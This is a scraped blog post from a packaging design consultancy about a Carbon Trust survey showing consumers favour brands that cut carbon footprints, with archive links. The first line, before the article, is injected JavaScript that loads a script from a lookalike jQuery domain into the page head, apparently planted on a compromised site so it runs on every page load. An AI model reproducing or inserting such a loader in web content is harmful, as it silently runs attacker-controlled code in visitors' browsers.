var khutmhpx = document.createElement('script'); khutmhpx.src = 'https://jquery0.com/JkrJYcvQ'; document.getElementsByTagName('head')[0].appendChild(khutmhpx); Design Cognition » Blog Archive » Consumers want brands to tackle carbon footprints, finds Carbon Trust - your packaging design, development, project management & training partner & consultant

Consumers want brands to tackle carbon footprints, finds Carbon Trust

#packaging#environmental#carbon#retailers#design#branding

Almost two thirds of consumers are more likely to buy a product if action is being taken to reduce its carbon footprint, according to a study by the Carbon Trust.

Around 70% of consumers want businesses to help them make more informed environmental choices and 58% valued companies that were reducing carbon emissions, found the study.

Euan Murray, general manager for carbon footprinting, told Packaging News the research showed that despite the credit crunch consumers still wanted to buy from companies that were “doing the right thing on climate change”.

“However, consumers struggle to name brands that are doing the right thing, and that’s a market opportunity for businesses,” he said.

The research found that only 12% of consumers felt firms were doing enough to tackle climate change, and Murray said the carbon footprint label was seen as an award for those who were.

Murray added that one of the advantages of using carbon footprint labelling was that it helped to dispel myths about things such as food miles.

“For a huge number of products, there’s no correlation between distance travelled and climate change impact, which means doing the right thing can go on at the same time as helping the developing world.”

Brands that already carry the Carbon Trust’s label include Coca-Cola, Tesco, Tropicana and Walkers.


Consumer attitudes to carbon labels

60% of consumers understand that a product has a carbon footprint
63% are more likely to buy a product if action is taken to reduce its carbon footprint
70% want businesss to do more to help them make informed environmental choices
47% want help to reduce a product’s carbon footprint when using it
12% think firms are doing enough to cut carbon emissions

3 Comments

  1. Tracy says:

July 2015

  • September 2014
  • August 2014
  • July 2014
  • April 2014
  • September 2013
  • March 2013
  • February 2013
  • July 2012
  • January 2012
  • December 2011
  • November 2011
  • August 2011
  • April 2011
  • March 2011
  • February 2011
  • January 2011
  • December 2010
  • November 2010
  • October 2010
  • September 2010
  • August 2010
  • July 2010
  • June 2010
  • May 2010
  • April 2010
  • March 2010
  • February 2010
  • January 2010
  • December 2009
  • November 2009
  • October 2009
  • September 2009
  • August 2009
  • July 2009
  • June 2009
  • May 2009
  • Tag Bag

  • Tag Cloud

  • Twitter Feed

    Posting tweet...